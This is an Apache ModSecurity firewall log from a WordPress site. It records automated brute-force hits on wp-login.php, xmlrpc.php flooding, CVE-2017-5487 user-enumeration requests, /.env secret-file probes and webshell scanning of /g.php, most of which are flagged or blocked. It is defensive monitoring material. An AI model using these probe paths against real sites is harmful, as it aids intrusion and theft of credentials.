[Wed Dec 10 01:43:41.318958 2025] [:error] [pid 2279:tid 2329] [client 170.64.209.14:49839] [client 170.64.209.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.209.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aThfzVmpdQscMcJOElW55gAAAVM"]
[Wed Dec 10 01:49:39.608091 2025] [:error] [pid 37041:tid 37064] [client 170.64.209.14:65146] [client 170.64.209.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.209.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aThhM7uffDW8UzBwa1a5QQAAAFU"]
[Wed Dec 10 02:03:14.214452 2025] [:error] [pid 2279:tid 2316] [client 20.253.155.184:4362] [client 20.253.155.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.253.155.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aThkYlmpdQscMcJOElXBYgAAAUY"]
[Wed Dec 10 02:29:54.223831 2025] [:error] [pid 2277:tid 2302] [client 103.214.6.202:54482] [client 103.214.6.202] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.214.6.202, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aThqooWGo731r6eS-w5x4gAAABM"]
[Wed Dec 10 04:32:44.000823 2025] [:error] [pid 11266:tid 11280] [client 134.122.67.125:43222] [client 134.122.67.125] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 134.122.67.125, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiHayXL_Qb0Ip3FW3lyOAAAAAo"], referer: https://gigfragments.org
[Wed Dec 10 04:37:09.805998 2025] [:error] [pid 11267:tid 11316] [client 123.31.12.39:55669] [client 123.31.12.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 123.31.12.39, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiIdYY2npWNIVl2IDx3aAAAAFM"], referer: https://gigfragments.org
[Wed Dec 10 04:39:55.441877 2025] [:error] [pid 11268:tid 11341] [client 13.126.157.77:53230] [client 13.126.157.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.126.157.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiJG7bpLcj9WqyQndzsRQAAAJE"]
[Wed Dec 10 04:41:28.966250 2025] [:error] [pid 11266:tid 11284] [client 103.78.195.182:39852] [client 103.78.195.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.78.195.182, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiJeCXL_Qb0Ip3FW3l1WAAAAA4"], referer: https://gigfragments.org
[Wed Dec 10 04:45:44.506113 2025] [:error] [pid 11268:tid 11327] [client 89.46.107.119:45594] [client 89.46.107.119] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.107.119, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiKeLbpLcj9WqyQndzuTwAAAIM"], referer: https://gigfragments.org
[Wed Dec 10 04:50:05.427642 2025] [:error] [pid 11266:tid 11270] [client 8.133.253.244:38782] [client 8.133.253.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 8.133.253.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiLfSXL_Qb0Ip3FW3l4GQAAAAA"], referer: https://gigfragments.org
[Wed Dec 10 04:54:42.865603 2025] [:error] [pid 11354:tid 11372] [client 216.37.42.34:59956] [client 216.37.42.34] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 216.37.42.34, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiMku2TFO6mVSqWP8TzHgAAAM8"], referer: https://gigfragments.org
[Wed Dec 10 04:59:23.220907 2025] [:error] [pid 11354:tid 11358] [client 128.199.23.132:41540] [client 128.199.23.132] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 128.199.23.132, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiNq-2TFO6mVSqWP8T13wAAAME"], referer: https://gigfragments.org
[Wed Dec 10 05:04:12.759919 2025] [:error] [pid 11354:tid 11374] [client 186.250.243.195:50410] [client 186.250.243.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 186.250.243.195, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiOzO2TFO6mVSqWP8T4uAAAANE"], referer: https://gigfragments.org
[Wed Dec 10 05:08:51.996530 2025] [:error] [pid 11266:tid 11272] [client 92.205.229.150:35478] [client 92.205.229.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.229.150, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiP4yXL_Qb0Ip3FW3l--gAAAAI"], referer: https://gigfragments.org
[Wed Dec 10 05:13:40.718517 2025] [:error] [pid 11268:tid 11330] [client 165.22.5.123:18764] [client 165.22.5.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.5.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiRBLbpLcj9WqyQndz6gQAAAIY"], referer: https://gigfragments.org
[Wed Dec 10 05:28:15.067714 2025] [:error] [pid 11268:tid 11345] [client 133.125.52.204:50638] [client 133.125.52.204] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 133.125.52.204, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiUb7bpLcj9WqyQndwCQwAAAJU"], referer: https://gigfragments.org
[Wed Dec 10 05:30:40.634558 2025] [:error] [pid 11354:tid 11359] [client 187.60.133.149:15695] [client 187.60.133.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.60.133.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiVAO2TFO6mVSqWP8QI7QAAAMI"]
[Wed Dec 10 05:33:24.725302 2025] [:error] [pid 11266:tid 11278] [client 135.181.215.44:39074] [client 135.181.215.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 135.181.215.44, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiVpCXL_Qb0Ip3FW3mIlAAAAAg"], referer: https://gigfragments.org
[Wed Dec 10 05:34:43.304843 2025] [:error] [pid 11354:tid 11373] [client 187.60.133.149:16899] [client 187.60.133.149] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTiV8-2TFO6mVSqWP8QK1QAAANA"]
[Wed Dec 10 05:35:44.550689 2025] [:error] [pid 11354:tid 11381] [client 187.60.133.149:15565] [client 187.60.133.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.60.133.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiWMO2TFO6mVSqWP8QLTAAAANg"]
[Wed Dec 10 05:36:08.211240 2025] [:error] [pid 11267:tid 11319] [client 31.220.95.112:51918] [client 31.220.95.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.220.95.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTiWSIY2npWNIVl2IDyPIgAAAFY"]
[Wed Dec 10 05:36:10.097595 2025] [:error] [pid 11267:tid 11304] [client 31.220.95.112:51918] [client 31.220.95.112] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.220.95.112, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTiWSoY2npWNIVl2IDyPJAAAAEc"], referer: https://gigfragments.org/wp-login.php
[Wed Dec 10 05:36:42.825027 2025] [:error] [pid 11354:tid 11358] [client 187.60.133.149:15871] [client 187.60.133.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.60.133.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiWau2TFO6mVSqWP8QLqwAAAME"]
[Wed Dec 10 05:37:50.523770 2025] [:error] [pid 11268:tid 11335] [client 187.60.133.149:16552] [client 187.60.133.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.60.133.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiWrrbpLcj9WqyQndwG2gAAAIs"]
[Wed Dec 10 05:38:07.702391 2025] [:error] [pid 4155:tid 4164] [client 132.148.177.194:54118] [client 132.148.177.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.177.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiWvxaQ_NfzxmAbMq4_4wAAAQc"], referer: https://gigfragments.org
[Wed Dec 10 05:39:03.584341 2025] [:error] [pid 4155:tid 4171] [client 187.60.133.149:17173] [client 187.60.133.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.60.133.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiW9xaQ_NfzxmAbMq5AKQAAAQ4"]
[Wed Dec 10 05:43:05.502219 2025] [:error] [pid 11268:tid 11346] [client 4.240.89.23:34848] [client 4.240.89.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.240.89.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiX6bbpLcj9WqyQndwJOgAAAJY"], referer: https://gigfragments.org
[Wed Dec 10 05:47:53.305698 2025] [:error] [pid 4155:tid 4170] [client 45.156.185.91:55736] [client 45.156.185.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.156.185.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiZCRaQ_NfzxmAbMq5ErwAAAQ0"], referer: https://gigfragments.org
[Wed Dec 10 05:57:15.824873 2025] [:error] [pid 4155:tid 4172] [client 162.241.126.57:60282] [client 162.241.126.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.126.57, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTibOxaQ_NfzxmAbMq5KlwAAAQ8"], referer: https://gigfragments.org
[Wed Dec 10 06:02:05.963807 2025] [:error] [pid 11268:tid 11335] [client 162.240.239.64:39003] [client 162.240.239.64] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.240.239.64, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTicXbbpLcj9WqyQndwQiwAAAIs"], referer: https://gigfragments.org
[Wed Dec 10 06:06:48.055855 2025] [:error] [pid 11267:tid 11305] [client 92.205.110.67:59484] [client 92.205.110.67] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.205.110.67, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTideIY2npWNIVl2IDyavgAAAEg"], referer: https://gigfragments.org
[Wed Dec 10 06:16:19.302037 2025] [:error] [pid 11354:tid 11369] [client 89.46.110.149:29818] [client 89.46.110.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.46.110.149, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTifs-2TFO6mVSqWP8QdCQAAAMw"], referer: https://gigfragments.org
[Wed Dec 10 06:21:03.945231 2025] [:error] [pid 11354:tid 11359] [client 157.245.109.248:54594] [client 157.245.109.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.109.248, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTigz-2TFO6mVSqWP8QeoQAAAMI"], referer: https://gigfragments.org
[Wed Dec 10 06:25:46.289312 2025] [:error] [pid 11354:tid 11362] [client 103.147.122.46:53868] [client 103.147.122.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.147.122.46, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTih6u2TFO6mVSqWP8QfwgAAAMU"], referer: https://gigfragments.org
[Wed Dec 10 06:35:19.001455 2025] [:error] [pid 16596:tid 16601] [client 91.224.90.83:55984] [client 91.224.90.83] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.224.90.83, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTikJ3Be21fHOHH2RQoJTAAAAYE"], referer: https://gigfragments.org
[Wed Dec 10 06:40:03.454031 2025] [:error] [pid 21356:tid 21379] [client 115.190.136.123:38756] [client 115.190.136.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.190.136.123, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTilQ6fG7wIA5S25SldYkQAAAtQ"], referer: https://gigfragments.org
[Wed Dec 10 06:44:52.416106 2025] [:error] [pid 21356:tid 21377] [client 5.160.146.1:56674] [client 5.160.146.1] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.160.146.1, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTimZKfG7wIA5S25SldZJQAAAtI"], referer: https://gigfragments.org
[Wed Dec 10 06:54:23.888336 2025] [:error] [pid 11354:tid 11361] [client 89.37.101.14:58754] [client 89.37.101.14] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.37.101.14, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTion-2TFO6mVSqWP8QlogAAAMQ"], referer: https://gigfragments.org
[Wed Dec 10 07:04:13.885568 2025] [:error] [pid 16596:tid 16615] [client 193.71.134.130:54760] [client 193.71.134.130] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.71.134.130, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTiq7XBe21fHOHH2RQoPfgAAAY8"], referer: https://gigfragments.org
[Wed Dec 10 07:09:05.165828 2025] [:error] [pid 16596:tid 16609] [client 173.236.139.128:55264] [client 173.236.139.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 173.236.139.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTisEXBe21fHOHH2RQoQqwAAAYk"], referer: https://gigfragments.org
[Wed Dec 10 09:50:27.325434 2025] [:error] [pid 11354:tid 11367] [client 209.74.71.131:58708] [client 209.74.71.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 209.74.71.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTjR4-2TFO6mVSqWP8RI_AAAAMo"], referer: https://gigfragments.org
[Wed Dec 10 10:27:06.690922 2025] [:error] [pid 11268:tid 11342] [client 132.148.177.178:19958] [client 132.148.177.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.177.178, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTjaerbpLcj9WqyQndxJ1QAAAJI"], referer: https://gigfragments.org
[Wed Dec 10 10:53:16.835861 2025] [:error] [pid 21255:tid 21275] [client 132.148.177.194:22424] [client 132.148.177.194] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 132.148.177.194, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTjgnPOw-vgCwe7hEWFaAAAAAhE"], referer: https://gigfragments.org
[Wed Dec 10 10:55:23.088261 2025] [:error] [pid 16597:tid 16639] [client 44.245.0.241:33576] [client 44.245.0.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aTjhG24Hlu0QtpUGkRRyagAAAcw"]
[Wed Dec 10 10:58:31.000174 2025] [:error] [pid 11354:tid 11363] [client 92.204.209.115:61008] [client 92.204.209.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 92.204.209.115, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTjh1u2TFO6mVSqWP8RaPAAAAMY"], referer: https://gigfragments.org
[Wed Dec 10 11:15:46.130973 2025] [:error] [pid 16566:tid 16571] [client 34.205.26.129:59098] [client 34.205.26.129] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aTjl4iEgzB1153EFuAYVhAAAAUM"]
[Wed Dec 10 11:19:04.154597 2025] [:error] [pid 21291:tid 21313] [client 188.130.128.202:43139] [client 188.130.128.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.130.128.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTjmqJreiUgLUUTTKJdvCQAAAlQ"], referer: https://gigfragments.org/
[Wed Dec 10 11:19:06.670250 2025] [:error] [pid 11268:tid 11339] [client 188.130.128.202:59627] [client 188.130.128.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.130.128.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTjmqrbpLcj9WqyQndxUDQAAAI8"], referer: https://gigfragments.org/wp-login.php?action=register
[Wed Dec 10 14:50:49.421757 2025] [:error] [pid 36975:tid 36996] [client 202.61.232.16:41732] [client 202.61.232.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.61.232.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTkYSd_ZNQ3zMmb38BEIogAAAJA"]
[Wed Dec 10 14:51:11.865477 2025] [:error] [pid 36976:tid 37022] [client 202.61.232.16:33592] [client 202.61.232.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.61.232.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTkYXySpHW5KVaY9tJkr7AAAAM8"]
[Wed Dec 10 14:51:38.620490 2025] [:error] [pid 37062:tid 37077] [client 202.61.232.16:50624] [client 202.61.232.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 202.61.232.16, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTkYejB0I62HCw8Z5BTrGwAAAA0"]
[Wed Dec 10 17:39:54.497208 2025] [:error] [pid 36975:tid 36999] [client 91.188.244.9:42287] [client 91.188.244.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.188.244.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTk_6t_ZNQ3zMmb38BFEngAAAJM"], referer: https://gigfragments.org/
[Wed Dec 10 17:39:56.856616 2025] [:error] [pid 37062:tid 37086] [client 91.188.244.9:55461] [client 91.188.244.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 91.188.244.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTk_7DB0I62HCw8Z5BQy1AAAABY"], referer: https://gigfragments.org/wp-login.php?action=register
[Wed Dec 10 18:55:50.665727 2025] [:error] [pid 46868:tid 46882] [client 20.187.91.171:35602] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aTlRto3NdlN2GOOyBjFibAAAAQw"]
[Wed Dec 10 18:55:51.900903 2025] [:error] [pid 49095:tid 49117] [client 20.187.91.171:52872] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aTlRt8orr4Jt2Tfx_EbI3gAAAVQ"]
[Wed Dec 10 18:55:53.579801 2025] [:error] [pid 46868:tid 46877] [client 20.187.91.171:57898] [client 20.187.91.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g.php"] [unique_id "aTlRuY3NdlN2GOOyBjFibgAAAQc"]
